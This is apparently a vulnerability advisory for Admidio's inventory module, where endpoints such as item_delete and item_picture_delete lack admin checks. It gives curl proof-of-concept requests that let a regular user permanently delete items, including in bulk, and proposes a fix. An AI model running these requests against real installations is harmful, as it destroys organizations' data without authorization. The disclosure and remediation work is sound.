Admidio's Missing Authorization on Inventory Module Destructive Endpoints Allows Any Authenticated User to Delete Items

Meanwhile, the UI does check admin status before showing delete buttons:

// modules/inventory.php:306-309 (UI only)
if ($gCurrentUser->isAdministratorInventory()) {
    $msg .= '<button id="adm_button_delete" ...>';
}

This creates a false sense of security — the button is hidden, but the endpoint is fully accessible. Item UUIDs needed for the attack are visible to all users who can view the inventory list.

The same missing-authorization pattern affects:

• item_retire (line 347) — soft-retires items without admin check
• item_reinstate (line 364) — reinstates retired items without admin check
• item_picture_upload (line 428) — uploads pictures without admin check
• item_picture_save (line 445) — saves pictures without admin check
• item_picture_delete (line 457) — deletes pictures without admin check

PoC

Prerequisites: An Admidio instance with the inventory module enabled (default setting inventory_module_enabled=2), two user accounts — one admin who created inventory items, and one regular user with no inventory admin rights.

# Step 1: Log in as a regular (non-admin) user and get session cookie + CSRF token
# The CSRF token is embedded in any page the user can access
curl -c cookies.txt -b cookies.txt 'https://target/adm_program/modules/inventory.php?mode=item_list'

# Step 2: Extract a target item UUID from the inventory list page
# Item UUIDs are visible in the list view HTML to all users with module access

# Step 3: Permanently delete the item (as a non-admin user)
curl -X POST 'https://target/adm_program/modules/inventory.php?mode=item_delete&item_uuid=TARGET-ITEM-UUID' \
  -H 'Cookie: PHPSESSID=regular_user_session' \
  -d 'adm_csrf_token=EXTRACTED_CSRF_TOKEN'

# Expected response: {"status":"success","message":"Item deleted"}
# The item and all associated data (item fields, borrow records) are permanently deleted.

# Step 4: Bulk deletion is also possible
curl -X POST 'https://target/adm_program/modules/inventory.php?mode=item_delete&item_uuids[]=UUID1&item_uuids[]=UUID2&item_uuids[]=UUID3' \
  -H 'Cookie: PHPSESSID=regular_user_session' \
  -d 'adm_csrf_token=EXTRACTED_CSRF_TOKEN'

Impact

• Data destruction: Any authenticated user can permanently delete any inventory item, including all associated field data and borrow records. There is no soft-delete or recycle bin — the SQL DELETE FROM statements are irreversible without database backups.
• Bulk deletion: The endpoint accepts multiple item UUIDs, allowing an attacker to delete all inventory items in a single request.
• Additional unauthorized operations: The same pattern allows non-admin users to retire/reinstate items and upload/modify/delete item pictures, undermining the entire inventory permission model.
• Blast radius: In organizations using Admidio's inventory module to track physical assets, a disgruntled member or compromised low-privilege account could wipe the entire inventory database.

Recommended Fix

Add isAdministratorInventory() checks to all destructive inventory endpoints. The fix should be applied at the handler level in modules/inventory.php before any service calls:

// modules/inventory.php — Add authorization check to item_delete
case 'item_delete':
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    // ADD THIS: check if user has admin rights for inventory
    if (!$gCurrentUser->isAdministratorInventory()) {
        throw new Exception('SYS_NO_RIGHTS');
    }

    if (count($getItemUUIDs) > 0) {
        // ... existing code

Apply the same pattern to item_retire, item_reinstate, item_picture_upload, item_picture_save, and item_picture_delete. Additionally, consider adding authorization checks in ItemService methods as defense-in-depth.